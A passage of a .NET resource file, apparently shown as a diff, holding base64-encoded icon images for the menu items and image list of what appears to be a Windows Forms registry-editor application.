+7UgtI/DdvuETrrWDxxKf/yqgcSCtXBx8YuEzbL1mkZBAzTTSK33DT7Dw1zsQUjiFrUW0NAQO1BL4
+KoNv+O4wJBZ1YFuRFSE3bNIQCK+bQWa1OPikG8+x/aYV24oZaQgo651Q3enBB4Nv+OTiTuwoprBd
+zUhDIOK+E1maXowbIgShvWXhU251Yqeaxo4SuzQEIhtmcbhGHHyaWsdtoZ2lDmkIRD2cRfbdPt/w
+hjCkl+i4LRRa5pCGQHQjgb/nG36SwGeU6rgtxK1RKQjEaF04UteP8R4R8OU6bgutzelAC8Q1uZBT
+bxQFn1mh47bQhvNAQAWezuNYg5Esx0hBaG9ZeFXlC24LbTrQBFLgoHYGLaPDWH4bJQjOloXPquri
+tpDgiSyQArENFCzuJXi+fRSUmOwJQ/adLm4LCZ7IAirQuoCj2il4PJ7V/iHBwh/R6LktJHgiC7TA
+oWY3LmraMTAwsEnC0nsAOTXd3BYSPJFJQqDJicuFJcjPz1+T+DS3iOZ3Q8gmT2J2CwmeyKQiEPeA
+xqUrV4mEGhfIN5HzwILIWtI6hpsTgicyyQi0kQdYI8PdxHGPprkHWYzWLXgekOw3EN/6RXDMBY/A
+uikhC8gCfGQBWUAWCHYBf//B8U8BysVjiU+m8ccJVf/KXOAFaNeWIuo4jyVHjhw5kopC8RtEQSu7
+bO51pQAAAABJRU5ErkJgggs=</value></data><data name="newToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAC7klEQVRoQ+2ZXUiTURjHR2BgipqaumIJXhiUFTHrssbW1Cb2zrUpfmB200VXdRXMYDA3
+altEmggrRctlkhdBRddBkiARMg2F9UlqVxW1i4KKp3f0BEFP593OeT27aD/43Y3n+f/HOXtfmCFH
+jhz/Aa3voNm5BiuqIOr+kVczOFYeyhq8pcLwuPNcXH4JKgivu/oWfpUYfT2L49cfKgivqQLSS1BB
+eK3rW5RfggrC627vovwSVBBeUwWkl6CC8LrH+0x+CSoIr3vVAtJLUEF4NQcTmiUOjL/R9zlBBeG1
+cTYpvwQVRIa4XhxquAxxvTjUcBnienGo4TLE9eJQw2WI68WhhssQ14tDDZchrheHGi5DXC8ONVyG
+uF4cargMcb041HAZ4npxqOEyxPXiUMP1VFn9BgefPoa6B4NQPXkaKke6oOJqB5RecS6XDBydLBpo
+aTP4PBsxTuZQS/Xy0Pwc1EyfAeNYB1SNtkPFtTbYEnVD+bALyoacsHlQgZLLLVB8qfl5ccThwkiZ
+QS0WVVn9AfWPbsG2iW7Yer0rnQJQdNEBhaHGiMHn24DR0oMKIGr9zBSYbvZkXiDcBAXnG0IYLT2o
+ACJa4k9g+1SvSAHIDzY4MZ42VAheUxe29t5ZZoEPX5Pw/stnZoFNwcMv077YVBBeLQtzUH37BLPA
+b9gF7JAfsHowIhsqCK/7Hkb1K+C3xjAiGyoIrzvue/Ur0G9bxohsqCC81tw59VeBj+qZ1yJ1J4gC
+SYzIhgrCK1UgdWm1oAtYP2FENlQQXnU9Qn7rEkZkQwXhVddL3G+bwIhs9PyLyRLX8WfUb3VjRDbq
+4iN6lVBWvkPtXY0HmXreNR9kAfsLoTdUEaqne12sAmm9SgRsCo7LDqap4xH+AvYLOCaLqK/EplhP
+ONMCBaGmUMav0+uJ8Ua30zjemdAu4EgUhh3ZPTb/whw9mVc11umpHG2PqQWWyqPHkmXDrcnSIWVJ
+LRBTv323IWrOw4//gcHwE5GqaHClfyHtAAAAAElFTkSuQmCCCw==</value></data><data name="deleteToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA6gMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADjElEQVRoQ+2VO1NTURRGgwQVECHyDAqISkBHK8BCG7GSsQAbrbTSShttnIASUBAIIE+R
+ACKghf4BLcERf4A2iCGEkDevEMSKGbfn3LPlhnCRJPfcFE7WzBq6fCubm0QVI0aM0Cmb8heXTfq/
+ln/ygxLS16YbOMcfMjIRPKqAEzjHl/OTvgqJMUUsnfBdwll+lE+uTUqNKSS//8I1N1ytdoGDCNG0
+ygV28rcSMyIHX0hyJAouYEbkSLxoVMUMeZx5u6Enwuk3PwVLxqnrUDzG1I36BYte++HUyJrgyVdU
+H5wYZhYOrQoeH6SuQIGJmT+wLJj3kroEx/qZR1949TgvHxJ8LzhcN8rCaTTf8EXB3F7vXZyXT8n4
+xi3x2gqH91G9kNPnvYnz8tGNr1dHI1zb6xXM6fFCVrenCufloxvxXVYinF17e3hOjweyu6nuCpyX
+T/HwWpmccDE6lHAPZHW5IaPbVYrz8ikc8+vCCWfXjiycmtlJ3kCXvQjn5ZNvWtRKhYvR/MIzO12Q
+8dwFmUZvDs7LJ3vcnSxeW9lwanqHE7QmZxLO86FgcGUzGuFH2qmOTZzlR4FpeZVGi+EsmoVv/w4X
+wz17hqd3BIY7QdPmAI3RsYKz/MgbWJqPLHz3awdcnIUT04x2qhVn+ZHXv/QtlPBQHpN/hENqqx0O
+t9i+4iw/SPgXqfBwnu+9wlNbF0i84BTO8iO3d/FjpB/MMMIhpdkGh57ZPuAsP7Q9nvdKh2M8JDXN
+v8NZfpDwId7hKc1bFxdMbpoXTGy0DuIsP7K73B1yw8VrS4cnNVKtkPh0rh1n+UGC60MNTzOycHbt
+cMKZB5/MGXCWHxmdrgfB4Swaf3z4hAvur7fcx1l+ZHQ470j+anIMP9BAtUCCwXIbZ/mhaXfcCHxM
+WHjgB1N+OLm8YILBfB1n+aFps1dKh7NoFm4LCGfRLNwaEM6iWXhgNHUW1HWzEG8wX8FZfmiMzoty
+wne/9uxWuLrODPGPzaCuNV/AWX5oWhbOhRO+92OyM5y679EPUOlnz+IsP9La5gqkwsVo+eHUuFry
+Bh5a8nGWH6nNNo14bWXC42pnQFVDNFjTcJYjBlArHi74/bfKMKHGVb4kN1l/KRe+5QbO8Sexcc4t
+J5xFk2d8Z7SofsaFc/wh3+FToYSL0WGE/1U/8xnn+JPYYCkn0dPB4ezaMsOZ06qa6TKcixEjxv+P
+SvUHcjIlcbhSyrsAAAAASUVORK5CYIIL</value></data><data name="dWORD32bitValueToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATgQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAD8ElEQVRoQ+2Z6U8TURTF+ab/lV9NhLTIjgvRaAhKghERYkyIC8YExRBRg0sIMVFRw1K2
+gCAURRYFLC6AQFCWFhBFRKlsvc59vVPL9FovSWv50B85SfN6OJw3nZn3pkSECRMmzNZkR0nK9shy
+85XICpMjssIMoZHJvqvcXIBdqJYcd3ku9P9rV4XpMtWSE9ojv1HapzBNteRwQcHSwYbDEGNJgPjq
+ZDjUmMp6qJYcLiQYMlfFwOr6KmS0HId7Aw9gzjnH+qiWHC4kGEpvzoB11zrstsRD+9QL6JnpZX1U
+Sw4XEkjhKXOsJRNK3paqo46v7T8cYJ14pl4b/VRLjjEg0MKS/jD6qZYcY0CwhKdN06dmSKrdp4qf
+sGazPqolhwsJhsYWPkLpu7uQZc1RE8CJcD6qJYcLCaS6HN2qMAfejYx+qiXHGBBoHW5Mg4vd+arw
+2Y48aJt8Bu+/DKhrY3/9QR8/1ZJjDAiGcALONSdEVUbD61kblA0+Yn0oqiWHCwm0Hgw+hMGvQ+r1
+t1/f1Cdh9OiiWnK4kFCKasnhQkIpqiWHCwmlqJYcLiSUolpyuJBQimrJ4UJQZzrOw5u5t+BcdcLS
+6pK2ko7B/YEybTcZ5+NNfXJEbRPGv0/A5OIk9M2+hqt917QtdKyP91+iWnK4kIJXhWrh4bDN9kNU
+RbTHi1sDnCSH0SsR1ZLDhUwuTqkCuO1NfXJU7eHx6Otkt51SPlNlDEz/nFZjI/OjatXF1fXD/LAa
+Q3SvVFRLDhdS2FsERX3XIdN60jMWV51ElQCu9BSqseOtWTQCkNd50ePNf1lAo3+8UlEtOVwIp9Pt
+uVQJIKstR40l1CSrPQ0q1pLo8d6wFZMT4PTzXM+4RFRLDheiCz/++rEGtZdfXltWhTrsnaxXF26T
+Z37OKC8+geGzMOf7m6iWHC5EF55G3jh+TKtvFjgvCsvihYu4tJ9znRdYnz9RLTlciK60pnQ1CXwQ
+wfLI56U5SK7d7+PFnWbLuFV5kIdDj308ElEtOVwIp/TmY1QN4Fb/HZ/3K0cs9C7A0/FWNSGjRyKq
+JccYgLdBPO9Rma38XcgyWrPhd8qGHtE7AJ2OLnV79X5/M6JacowBWHRlfUWVsX3uh8Savepoeq8D
+eJfR/cW2WzTqXri4lXozolpyuBB8ANFZc6157kDI1KIdYqvdt8w9dSnqYvXH8PyIT74/US05XAgu
+/zf7b2srsR1cLnfBheUF7dxu0U6xAx4fTgAvbn/CU8o7+1+iWnK4EG9FV8VtWKSCLaolZ4t9vT5F
+teTgPxW4sFBIm0A+1ZKD/9ZxT8Jk50L/j7S/XW6+tLNu5zaqFSZMmDBbioiI392nmoAs4I89AAAA
+AElFTkSuQmCCCw==</value></data><data name="keyToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA1QMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADd0lEQVRoQ+2Yy1ITQRSGT1xpFYjgSl/HF1C5vIcudKXEjZfiKZCdWxEsq9QFbORSXAQS
+LrE0ChuFHSEhTtr/9JxJOpPpSZQeGKvmr/prAvTlO6dPd2egTJkyZYqVKlC/+kJj3h5NeSVaxvMA
+rnm7+rns7dBLtUuj3E66pEOqTEMAngDkSaNEquk9w7ste9tUgV+obzQoQ1ycdMZLdGQFD8E3dlpG
+EIdYjREZ6nylFOUA/gRZb1jhLeDa2769IjVUkcZ5PBn6fMTwVvA4eAFvuugbQTyWoZOXbNRW5m3g
+cfACHtjbwkoUaFimSE56w+5JzZvgYXgDHLVeVjs0rE8pdpFuo3SKGr7gG79n/1IrdE2mSkaAn/ib
+rAO0rDZoSLo3pdZp0CtQuQm/Jd6k59LEvTh7ONNPrPAGuDZKhTMv3TuEleA7oQXP3qAK3CdN3AqX
+0FgvWTdrnYOW7h1CcFfb4DfFGwkdrSifqV6y3jRqPDaAEg20gbcCmJQmboWvAstWeBNc4HUA2LDS
+vUOAHQuBB16UJm7F32l6ybppHI9F3rAyRFPI/HVAf4+AV2i/L83cCgHUrOBheGxO43gsA3JU1zzb
+z7wPb4KzP8PrVJMp3QoldNBL1g3w9hMmXO9h8JZ/yJRuhQtpqQ08DA9gK7wJHge/Dq/RgkzpVghg
+KhI8DG+Ch+Ft4AG872ROIb54Esu66VW6K1O6FQD7cf1XzpT1OPg17WO0SeYmZlUXcvNOsh4Nz34q
+U7nXyetcvjJ9SXkM4zbrgX+qJRqQ6dyq/oby9RlS1emcqn7I2cHD8CZ4HPwK3gdW6I5M51b1Wcr/
+BjwHEARxOi9B2MDD8CZ4GH5V+5FM51Yew8+S0g4HMYcgzpJ1Nmce8Im8EzM8rNhRQdS4nN7nVINB
+/i3r/AaWTNmY8N2C4I1d/0RzgK5EwpvgPvwxwJ8ltmGj4ANHBVGdpnHuhxXoA+AIoCfxXMRzH7A1
+fObnIqAn8RzmdnqiJARIK3xgM4jTGR8+FQJcV/jAEsD/BQ/oGvxAvaOb6m3nfxouTIDrKfPI+EPp
+kh4BrOeyUbN0Q7qlQyiH+1GgNqeqbFgI4CgK1OK8dEuPIiDbjAC/4py/pT7SZemSLnVbAYaXpukU
+TpV7UeCB1Su6Ik3TKz4ao+BTdUl1E68EfCjgh/yz/ClTpkypEdEfvNz61WEuKVYAAAAASUVORK5C
+YIIL</value></data><data name="multiStringValueToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAEAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAACsklEQVRoQ+2ZTWtTURCGs+mqS8Uf4efCj79QJSFp9wWDS1dBJNZEVxpBbP1qxUIU/AFd
+CO5rBUmaitpo0iRNJElNIhVqU4qggo5n0mm5MdPm3jPJQfS+8Owu8z6Tew53EY8bN27+g4x8Au9w
+A2oKkHLyUfkljTWXQAM+cjI6HLzyzvwSnIguh6Lvt5Z4XEnS+P6HE9EFFzC+BCeiy+FoxvwSnIgu
+RyIZ80twIrrgAsaX4ER0ORrJml+CE9HlmFrA+BKciC7HY8WuS5x6Uu3td4IT0WUouWl+CU7EBFQv
+DzfcBFQvDzfcBFQvDzccGRyLw0BoUsTg5Tg7e7j+y8ACqpyTcgK7gJL3LW9Ayn92bD4QrKb8506Q
+il46CvoJyd/NVGDx+u2FVCAI8/7gumgJtqgfkPy4ki+VSsj3xdidV7iEehsV0nEetkwhuQMdR4fk
+b6bTUCwWrXx7e21iAY8T6ThPW5EFyR1oW4DkJxNRqM/thxdLb6BQKOyQy+UipKIXq3TPscivzXpa
+1Of2wWzmNeTzeeQqaeiHLe4FJP8wEd6R36b2/ADk089CpCALW66QfQfuw8D5W3DhnrdDHplOXPyb
+vwNb8qGJoV3l8c1QvTycvDbMmefk8Tmql4cV0cGBPD5P9fJ0iBDO7oC9Y7Mtj1C9PFZpK/bvgHN5
+hOrlsQ51jMNjY4Xq5flzsG0E8gjVy8MNt4OvuAnTST15hOrl4YZ3I1D7CaPZVVjPXdKSR6heHm54
+N/zVH3BjeRWazWbbEnblEaqXhxveDd+HrzA18xTK5TItEYZ4MmxbHqF6ebjh3fAurcH41IPWEjH1
+Jkazn1t3wq48QvXycMP3REl6CxvgzX1pvQk8Tngn2Gf3gOrl0fqLycEvvQsrVC+PGnaml/+T2WBl
+pAGnqd6NGzf/bjye388v2v1KKqHvAAAAAElFTkSuQmCCCw==</value></data><data name="keyToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAA1QMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADd0lEQVRoQ+2Yy1ITQRSGT1xpFYjgSl/HF1C5vIcudKXEjZfiKZCdWxEsq9QFbORSXAQS
+LrE0ChuFHSEhTtr/9JxJOpPpSZQeGKvmr/prAvTlO6dPd2egTJkyZYqVKlC/+kJj3h5NeSVaxvMA
+rnm7+rns7dBLtUuj3E66pEOqTEMAngDkSaNEquk9w7ste9tUgV+obzQoQ1ycdMZLdGQFD8E3dlpG
+EIdYjREZ6nylFOUA/gRZb1jhLeDa2769IjVUkcZ5PBn6fMTwVvA4eAFvuugbQTyWoZOXbNRW5m3g
+cfACHtjbwkoUaFimSE56w+5JzZvgYXgDHLVeVjs0rE8pdpFuo3SKGr7gG79n/1IrdE2mSkaAn/ib
+rAO0rDZoSLo3pdZp0CtQuQm/Jd6k59LEvTh7ONNPrPAGuDZKhTMv3TuEleA7oQXP3qAK3CdN3AqX
+0FgvWTdrnYOW7h1CcFfb4DfFGwkdrSifqV6y3jRqPDaAEg20gbcCmJQmboWvAstWeBNc4HUA2LDS
+vUOAHQuBB16UJm7F32l6ybppHI9F3rAyRFPI/HVAf4+AV2i/L83cCgHUrOBheGxO43gsA3JU1zzb
+z7wPb4KzP8PrVJMp3QoldNBL1g3w9hMmXO9h8JZ/yJRuhQtpqQ08DA9gK7wJHge/Dq/RgkzpVghg
+KhI8DG+Ch+Ft4AG872ROIb54Esu66VW6K1O6FQD7cf1XzpT1OPg17WO0SeYmZlUXcvNOsh4Nz34q
+U7nXyetcvjJ9SXkM4zbrgX+qJRqQ6dyq/oby9RlS1emcqn7I2cHD8CZ4HPwK3gdW6I5M51b1Wcr/
+BjwHEARxOi9B2MDD8CZ4GH5V+5FM51Yew8+S0g4HMYcgzpJ1Nmce8Im8EzM8rNhRQdS4nN7nVINB
+/i3r/AaWTNmY8N2C4I1d/0RzgK5EwpvgPvwxwJ8ltmGj4ANHBVGdpnHuhxXoA+AIoCfxXMRzH7A1
+fObnIqAn8RzmdnqiJARIK3xgM4jTGR8+FQJcV/jAEsD/BQ/oGvxAvaOb6m3nfxouTIDrKfPI+EPp
+kh4BrOeyUbN0Q7qlQyiH+1GgNqeqbFgI4CgK1OK8dEuPIiDbjAC/4py/pT7SZemSLnVbAYaXpukU
+TpV7UeCB1Su6Ik3TKz4ao+BTdUl1E68EfCjgh/yz/ClTpkypEdEfvNz61WEuKVYAAAAASUVORK5C
+YIIL</value></data><data name="imageList1.ImageStream" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAu
+MC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAA
+ACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkD
+AAAADwMAAABuCAAAAk1TRnQBSQFMAgEBAgEAAagBAQGoAQEBEAEAARABAAT/AQkBEAj/AUIBTQE2
+AQQGAAE2AQQCAAEoAwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYAB
+AAKAAgADwAEAAcAB3AHAAQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEA
+AykBAANVAQADTQEAA0IBAAM5AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8B
+AAHWAucBAAGQAakBrQIAAf8BMwMAAWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHM
+AgABMwH/AgABZgMAAWYBMwIAAmYCAAFmAZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgAC
+mQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHMAWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZ
+AgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEAATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8B
+MwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEzAWYCAAEzAWYBMwEAATMCZgEAATMBZgGZ
+AQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZAWYBAAEzApkBAAEzAZkBzAEAATMB
+mQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLMAQABMwHMAf8BAAEzAf8BMwEA
+ATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEAAWYBAAFmAQABZgEAAZkB
+AAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEAAWYBMwHMAQABZgEz
+Af8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZAWYBAAFmApkB
+AAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/AQABZgH/
+AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEAAZkB
+AAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm
+ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwB
+AAKZAf8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIA
+AZkB/wEzAQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYB
+AAHMAQABmQEAAcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEz
+Af8BAAHMAWYCAAHMAWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwB
+mQEzAQABzAGZAWYBAAHMApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEA
+A8wBAALMAf8BAAHMAf8CAAHMAf8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwB
+AAEzAQAB/wEAAWYBAAH/AQABmQEAAcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEA
+Af8BMwH/AQAB/wFmAgAB/wFmATMBAAHMAmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkC
+AAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZAcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHM
+AWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEzAQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8B
+AAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFmAQABIQEAAaUBAANfAQADdwEAA4YBAAOW
+AQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHwAfsB/wEAAaQCoAEAA4ADAAH/AgAB
+/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/wEAEAYwAAIGAv8BBgT/BwYwAAIGAv8BBgT/AQYB/wUG
+AgAC2QHTBdQFziEAAgYCuwEGArsC9AGQAf8FBgEAA9kB0wXUBc4hAAIGAv8BBgX/AbsFBgEAA9kB
+0wXUBc4hAAIGAv8BBgb/BQYBAAPZAdMF1AXOIQACBgL/BgYB/wEGAv8CBgEAA9kB0wXUBc4hAAIG
+Av8BBgL/AfABBgL/AZAC/wIGAQAD2QHTBdQFziEAAgYBgQT/AfABBgL/AQYBkAMGAQAD2QHTBdQF
+ziEAAwYBgQS7CAYBAAPZAdMF1AXOIQAMBgL/AgYBAAPZAdMF1AXOIQAJBgL/AQYC/wIGAQAD2QHT
+AdQB2wPUBM4iAAgGAbsC/wHzBAYBAAH/AtkB0wHbKgAJBgG7AfMFBjAAEAYwABAGMAABQgFNAT4H
+AAE+AwABKAMAAUADAAEQAwABAQEAAQEFAAGAFwAD/wMAAv8GAAL/BgABwAEBBgABgAEBBgABgAEB
+BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEDBgABgwH/BgAC/wYAAv8G
+AAL/GgAL</value></data><data name="qWORD64bitValueToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAmAMAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAADOklEQVRoQ+2Zy2sTURTGIyKKghtBFNzoVlciKIi4FF+4EnHpThBEQUEX4kLE7sSVf4Cu
+xJXixunTIm2tUugkfeTRlhqblPSVJk2TNunxnumZyc1wxnq6mNvF/ODbzJz73W/u3EeYxCIiIiJ2
+OFbiRqw93q1UVoKQhH11xdrt65Rim1h2m884fFnxl5RGyObI86Zhy7KvUSoBm9OGNwxbVryTUgmw
+7BJrZkKWvUypBHBGJiWGMzEpMZyJSYnhTExKDGdiUmI4E5MSw5n8h/Z2JuC2/Rs+FZYhUa7Cwnqd
+rXO1uyMBQ8uroMPVUSoBnMkWOvMjA6lKjWI04Wpd3R/PUVUTro5SCeBM/qHzgxNQa2xQBIBSveG8
+hTfTc2w96si3MVhSb8gPV0upBHAmATrYPQLTq2vUPcD73BIc6hlla3W9yy1Si1a4WkolgDMJ0N3R
+Geoa4ONsEQ6rkb3wcwIuDU0FPsjFX5Pgvi9so8PVUyoBnEmAehZXqGsAa74MaxvNqYTT6kk631K/
+Ry3cuFrgCC5ynEo6eq0nMZxJgLLV5vQJ4pbamdz6R8k8XQW4k8g613TcuhaJ4UwCVNdGvG+pAqcH
+0s4USWs7Un+x4tQe6x13Fjjydb4Eu8hDR/f2JEZr/DiVd171FTWnT/aloLBWh7fZee9+Mz7AucGM
+dx1H3QVDY9gPvvkehOvhSYzWeJ86nHB/T67UoHuh7Gx9R3vHvPu52jp1C3CqP+VdP6vOBZ0DXSNQ
+ptHfCtfDkxifAe4oLvfGZlrufVb7vcsDdTC51x8mm4dUXj0kXuMOOg7Xw5MYn8HN4WmyBnjq21Uu
+aw+3qnadV5MFeJ6ZhRVttNumCi1t/NLh7lMqAVpjPKj+VNfBLlXhy1zJCXb8e7Klg9fqxA1iQC3g
+/Wr66PV+6XD3KZUArTH+HMCFijvLCRW80mg4D6LXoHDR4pmACx7fBP6Ye6beBK4hf61fOtx9SiWA
+MzEpMZyJSYnhTExKDGdiUmI4E5MSw5mYlJid9Gmx3S5SKgHO93nOzIAsu4NSCcA/FzgzE7KGr1Iq
+IfjnAmcYrl5Qmm2Cfy7g9/kw1wT2hdNm2yMfEREREQ6x2F+uMtPoETiAtAAAAABJRU5ErkJgggs=</value></data><data name="dWORD32bitValueToolStripMenuItem1.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAATgQAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsSAAALEgHS
+3X78AAAD8ElEQVRoQ+2Z6U8TURTF+ab/lV9NhLTIjgvRaAhKghERYkyIC8YExRBRg0sIMVFRw1K2
+gCAURRYFLC6AQFCWFhBFRKlsvc59vVPL9FovSWv50B85SfN6OJw3nZn3pkSECRMmzNZkR0nK9shy
+85XICpMjssIMoZHJvqvcXIBdqJYcd3ku9P9rV4XpMtWSE9ojv1HapzBNteRwQcHSwYbDEGNJgPjq
